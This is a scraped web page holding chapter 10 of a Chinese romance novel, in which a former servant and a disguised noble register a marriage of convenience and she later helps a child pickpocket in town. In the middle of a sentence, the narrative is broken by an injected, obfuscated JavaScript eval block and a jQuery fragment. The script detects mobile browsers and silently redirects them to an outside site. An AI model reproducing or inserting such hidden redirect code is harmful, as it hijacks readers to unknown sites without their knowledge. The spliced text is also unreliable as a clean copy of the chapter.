默认冷灰
24号文字
方正启体

10. 第10章

作者:炩岚本书字数:K更新时间:
    温幸妤照例煮好饭后独自吃了,并且给祝无执留了一份,自己则躲回屋子,趁着还有点阳光,又做了些针线活。


    每日傍晚时,祝无执就会回来,她手中捏着缝了一半的香囊,动作微顿,耳朵不由自主地听着院里的动静。


    待听到熟悉的脚步声响起,她抿了抿唇,再次缝补起来。


    脚步声越离越近,她莫名有些紧张,针尖一个不留神就刺破了手指。


    温幸妤低呼一声,将帕子按在刺痛的指尖上。


    脚步声突然停了,旋即响起叩门声。她心口一跳,压着伤口的帕子下意识攥紧。


    门外的人似乎并不着急,敲了几下就停了,温幸妤不确定他是离开了,还是在门口等着。


    犹豫了一会,她将帕子丢在炕沿上,起身去开门。


    毕竟不能一直这样躲避下去,她和他相处的日子还很长。


    屋门打开,霞光从门扉倾泻而入。


    青年一身淡青直裰,乌发以木簪束起,背光而立,夕阳的光线和房檐下的阴影交错,笼在他疏朗的眉眼上,让往常矜骄冷漠的神情,多了几分随和温润。


    她飞速低下头,小声道:“有什么事吗?”


    祝无执的目光在女人的脸上转了一圈,随后微微下移。


    白皙的手指攥紧衣摆,骨节泛白,看起来很紧张。


    她在怕他。


    祝无执沉默了一瞬,做出个歉疚的表情:“那天的事,实在抱歉。”


    说完,他凝视着温幸妤的脸,想要从她脸上看出情绪变化。


    笼络人心,讲究的是欲取先予,软硬兼施。


    婚书的事,他要先哄着她办,若是反抗,再采取强硬手段也不迟。


    温幸妤没想到向来高傲的男人会给人道歉。


    她微讶抬眼,撞上对方真挚的眼神,登时心中愧疚起来。


    说起来,那天晚上也没发生什么,是她自己胆子小,想太多。祝无执专门来道歉,想必这几日他心里也不好受。


    思及此处,她连忙摆手道:“不用道歉的。”


    看到她脸上的愧疚之色,祝无执目光微凝。


    她……也未免太好哄了。


    甚至不需要旁人做什么,自己就能把自己安慰好,并且首先是反思自我,而不是怀疑责怪做错事的人。


    祝无执没有见过这样的人。


    简直是善良到愚蠢。


    他露出一抹笑,转而又沉默下来,欲言又止。


    温幸妤手心一片濡湿黏腻,她看出祝无执是有事找她,但似乎不知怎么开口。


    斟酌片刻,她道:“是遇到什么事了吗?”


    闻言,祝无执轻叹一声,顺着她的话开口:“确实有一事相求。”


    他观察着温幸妤的神态,缓声道:“我想与你办婚书。”


    温幸妤愕然抬头,她张了张嘴,半晌才吐出两个字:“什么?”


    祝无执揉了揉眉心,解释道:“那日骚扰过你的书生刘禄,企图用你我未婚同住的事,状告至官府。”


    剩下的,他不说,温幸妤也明白了。


    只是她不懂,刘禄与他们无冤无仇,为何要置人于死地。


    祝无执看出温幸妤的疑惑,但他没有解释。


    有时候,人的恶意是没有理由的。


    或许只是你比他强,比他过得顺遂,他就能狠下毒手。


    温幸妤压下疑问,思索着这件事。要想解决麻烦,只能同观澜哥的身份办婚书。


    她和观澜哥本就是要成亲的,虽说他人已经去了,但她并不觉得有什么。


    可婚书不是那么容易办的,要经过请媒人,合八字,定贴等流程,才能去官府登记办婚书,并且登记时也必须要媒人在场。


    这些流程走完,少说都得半个月。


    这段时间,足够刘禄发难。


    她想着,神色忧虑起来,看着祝无执问道:“可以办婚书,但…时间恐怕不太够。”


    祝无执笑了笑,没有解释,只道:“只要你同意,其他的事我会解决。”


    这话听起来怪怪的,但好像又没什么问题。


    温幸妤压下心头的怪异感,说了句好。


    二人间又陷入沉寂。


    温幸妤觉得有些尴尬,她指了指伙房,小声道:“灶台有给你留的饭。”


    祝无执嗯了一声,说了句多谢,便转身朝伙房走。


    走出几步后,他微微侧过脸,看向正准备关门的温幸妤,笑道:“你今后,不会再躲我了吧?”


    温幸妤合门的手一顿,没想到对方会说这么一句话,白皙的脸瞬间爆红。她躲避着他的眼神,结巴道:“不,不会了。”


    说完,她赶忙关上屋门,将青年含笑的凤眸隔绝在外。


    背靠着门,她拍了拍发热的脸,没忍住腹诽起来。


    祝无执今天怎么感觉怪怪的。


    也太让人尴尬了。


    *


    第三天,温幸妤摘了些院子里的桂花,给邻居也送了些,回家做了桂花糕。


    她做糕点的手艺并不太好,浪费了不少桂花,才算做出一锅像样点的。


    过去在定国公府时,她们做奴婢的,逢年过节偶有机会吃到好点心,大多都是主子不吃赏赐下来的。


    奴婢多,点心就那么点,等地位高的婢女小厮分完,到她们这些二等三等婢女手中,就所剩无几了。


    温幸妤性子软,有时候同住的小姐妹撒撒娇,她就全部让出去了。


    实际上她也嗜甜,只不过没人在意罢了。


    霞光收敛进云层,天色暗成淡蓝,远处群山如黛。


    祝无执揣着婚书进门,就看到温幸妤正好将饭菜摆上桌。


    他净手后入座,看着桌上多出来的桂花糕,挑了挑眉。


    温幸妤看了眼他的神色,主动道:“院子里桂花落地上也是浪费,所以我摘了些做桂花糕。”


    “你要尝尝吗?”


    祝无执看着盘中卖相极其一般的点心,想要张口拒绝。


    这样的糕点,看起来就又干涩难以下咽,如何入得了口?


    可看到女人略显期待的眼神,他鬼使神差的拈起一块,咬了一口。


    “……”


    真难吃。


    又甜又干,味同嚼蜡。


    他面无表情用力咽下口中的糕点,端起茶杯喝了口茶水,劣质苦涩的味道滑入喉咙,他没忍住皱了皱,眼中浮现出嫌弃。


    粗粝的碗筷,难以下咽的茶水,寡淡的饭菜,不知温幸妤是如何做到日复一日吃得津津有味。


    罢了,她不过是个没见过世面的村妇,怎能要求她懂这些?


    他盯着碗里的饭,忍耐着下咽。


    祝无执并未看到温幸妤局促而失落的神色。


    温幸妤安慰自己祝无执毕竟是世子爷,过去吃得都是珍馐美味,觉得这糕点难以下咽,也属正常。


    她默默将糕点一点一点吃干净,想着不能浪费,毕竟糖和白面都很精贵。


    一顿饭吃完,她也将失落的情绪压了下去。


    收拾完碗筷,天就黑了,她回屋点了油灯,借着昏黄的光线做香囊,不一会眼睛就酸涩起来。


    揉了揉眼,祝无执的声音在门外响起。


    “妤娘。”


    声音听不情绪。


    她起身打开门,就见对方从衣襟里拿出个张纸。


    温幸妤接过,打开来看。


    她识字不多,略过不认识的字,磕磕绊绊看完,明白过来这是婚书,一时间有些恍然。


    摩挲着自己和观澜哥的名字,她眼眶有些发热。


    她居然,就这么成婚了。


    虽说早有准备,也知道这是权宜之计,但心中还是难过又失落。


    没有女子不期盼过自己的婚事。


    过去她常常幻想,自己出嫁那日会穿婚服,盖盖头,再由夫君亲手揭开。


    可如今观澜哥去了,她不可能穿婚服,也没有婚宴,有的只是冷冰冰的一张纸。


    她与他阴阳两隔,再无可能,这张纸将是他们最后的牵绊。


    眼泪低落白纸黑字的婚书,洇湿成一团深色。


    祝无执垂眸看着温幸妤,见她看婚书,看着看着忽然就落泪了,有些不解。


    “哭什么?”


    温幸妤被打断了思绪,她用手背抹掉眼泪,轻轻摇头,声音有发闷:“没什么。”


    说完,她把婚书递了回去,几乎是塞进祝无执手心,留下一句“我先进屋了”,便进屋关上了门。


    祝无执站在屋门前,感觉莫名其妙的。


    他垂眸看着婚书,目光落在她泪水洇湿的地方,忽然明白过来。


    啧了一声,他抬眼看向灯火昏黄的窗户,将婚书揣回怀里,起身回了堂屋。


    确实挺可怜的。


    大不了等他大仇得报,就替她抹去成过一次婚的痕迹,再帮她重新寻个好夫婿。


    *


    婚书办好没几天,就有白水县的衙役来了胡杨村,身后跟着得意洋洋的刘禄。


    祝无执拿出婚书解决危机,反将一军,刘禄被依律进行扣押,并且赔偿了些银子。


    温幸妤没想到解决的这么快。


    当时来的衙役认出祝无执不是陆观澜,她登时被吓到,没曾想却被祝无执三言两语,用京城开的凭由做筏子,唬住了衙役,让对方误以为他们背后有人,从而轻而易举化解危机。


    只是刘禄的爹娘却记恨上二人,在院门外叫骂了好几天,后面有天突然就不来了。


    温幸妤从邻居那听说,是那对老夫妻齐齐摔断了腿,估摸着几个月都出不了门。


    她当时没忍住笑了,难得心中畅快,觉得老天也是有眼的。


    *


    九月底,天气愈发冷,祝无执突然说要去朝邑县的县学,约莫七八天才能回家一趟。


    温幸妤觉得有些突然,又觉得理所应当。


    毕竟祝无执不是真的陆观澜,他不可能重新科考,想必会用最快的办法,重回京城复仇。


    只是二人相处久了,哪怕平日里交流不多,人一走,也难免觉得空落落的。尤其是一入夜,她几乎睡不踏实,害怕会有地痞无赖翻进院子。


    看着窗外逐渐枯败的桂花树,温幸妤叹了口气,重新缝制起香囊。


    她约了隔壁刘婶子,明日乘牛


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15457443|169579||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    车去镇上卖香囊,顺带置办些米面。


    第二天一早,温幸妤搭车去了镇上,除了置办米面外,她还打算买些布匹做冬衣。


    同州的天气不同于汴京,又干又冷,风一吹好似刀子一样,弄不好就要染风寒。


    前段时间她给祝无执还那袋银子,对方却冷着脸不接,她也不敢再推脱,暂且收下。


    但若是让她花那些银子,心里还是觉得不得劲。


    于是想着不如置办些布匹,给祝无执做几件衣裳。


    镇上的布匹铺子比不得京城,花样少,料子也都是些普通的。


    温幸妤打量着柜子上的各色布匹,抬手摸了摸,回忆着定国公府时祝无执的穿衣喜好。


    愣了片刻,铺子老板以为她在犹豫,于是笑着上前招呼,热心介绍起来。


    “姑娘打算给谁做衣裳?是家中长辈,还是弟妹?”


    “或者说是你家男人?”


    温幸妤被最后一句话问得脸皮发热,她收回手,一时不知怎么回答,最后只含糊道:“是给家中同辈做。”


    老板听着她模糊不明的回答,只当眼前的姑娘是面皮薄的新妇。


    温幸妤顶着老板揶揄的目光,最终按照记忆,挑了一匹月白云纹锦缎,和一匹绛紫提花棉布。


    付完钱出来,她呼出一口气,朝约定的街口走去。


    即将入冬,街道上风呼呼吹,温幸妤手里的东西太多,手指冻得有些发红。


    路过一处巷口时,忽然冲出个蓬头垢面的孩子,她匆匆闪躲,却还是被撞到,手中的布掉在地上,沾了些灰尘。


    她把布拾起来,抱在怀里拍了拍上面的尘土,有些心疼。


    这些布匹可不便宜,抵得上她卖几十个香囊的钱了。


    叹了口气,正准备抬步继续走,身后的衣摆忽然被拽住了。


    她回过头,只见一个衣衫褴褛,约莫十一二岁的少年站在她身后,脏兮兮的脸上看不清神色,唯独一双眼睛亮得惊人。


    “姐姐,你钱袋掉了。”


    温幸妤一愣,看向他手中青底绣荷花的钱袋子。


    她摸了摸腰间,才发现不知道什么时候,钱袋掉了。


    蓦然想起方才撞她的孩子,她后知后觉反应过来,是遇到扒手了。


    “谢谢你啊。”


    她接过钱袋,弯了弯眼睛,笑容和煦温柔。


    那乞丐少年摇了摇头,却没有离开的意思。


    温幸妤看着少年冻到皲裂的手足,莫名想到了幼时父母双亡,流落街头的自己。


    她有些心软,从钱袋里摸出两块碎银子,柔声道:“去买些吃的吧。”


    少年没找到眼前这个看着清贫的女子,居然这么大手笔。


    可这些银子,他不能收。


    他没有能力保住它。


    镇上还有很多年纪大的乞丐,最喜欢抢他们这些年纪不大孩子的东西。


    他后退半步,没有收。


    温幸妤笑了笑,温声道:“拿着吧,找个地方,学些手艺,不要再做坑蒙拐骗的事情了。”


    少年猛地抬头,视线撞上女人温柔的杏眼,顿时羞愧起来。


    原来…她看出来了。


    小镇子上乞讨困难,他和几个伙伴也不愿意抢钱,只好选择这样的方式——瞅准面善的路人,年纪小的去摸钱袋,摸到了,再由他还回去,装作是捡到的样子。


    一般情况下,他站着不动,这路人碍于面子也罢,善心也罢,都会给他一点报酬。


    哪怕偶尔遇到脾气不好的辱骂他,也没有关系。毕竟这样来钱的速度,要比乞讨快很多。


    他抿着唇,想要开口道歉,那女人却已经转身离开了。


    明媚的天光下,女人的身影仿佛被镀了一层金光。


    他低下头,面前正放着方才那个荷包。捡起来打开,里头静静躺着两块碎银子,足足有三两。


    三两银子,够普通百姓几个月的吃穿用度了。


    他从小在乞丐窝长大,见过善人,却未见过善良到如此地步的。


    她明明…看起来并不宽裕。


    少年捏着荷包的手渐渐收紧,直到伙伴在巷子里低声呼唤,他才回过神来。


    他看着女人离开的方向,喃喃自语。


    手艺吗……他会去学的。


    温幸妤和刘婶子汇合后,二人乘牛车回村。


    她不知道,方才那一切,被人尽收眼底。


    街道边的茶楼上,祝无执临窗而立。


    今日来镇上办事,没想到竟碰到了温幸妤,还看了这么一出戏。


    他目光遥遥落在温幸妤离开的地方,俄而嗤笑一声。


    倒是一如既往的烂好心。


    他睨着街道,冷白如玉的指节在窗沿轻叩,神色晦暗不明。


    本打算把温幸妤丢村里不管,好方便他谋划做事,但现在他却改主意了,决定今晚回胡杨村一趟。


    因为方才他看到她怀里抱着布匹。


    如果没看错,那花色显然是男人用的。


    他不免猜测起来,她是要给谁做衣裳。


    是村里某个得了她青眼的男人,亦或者……是他。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)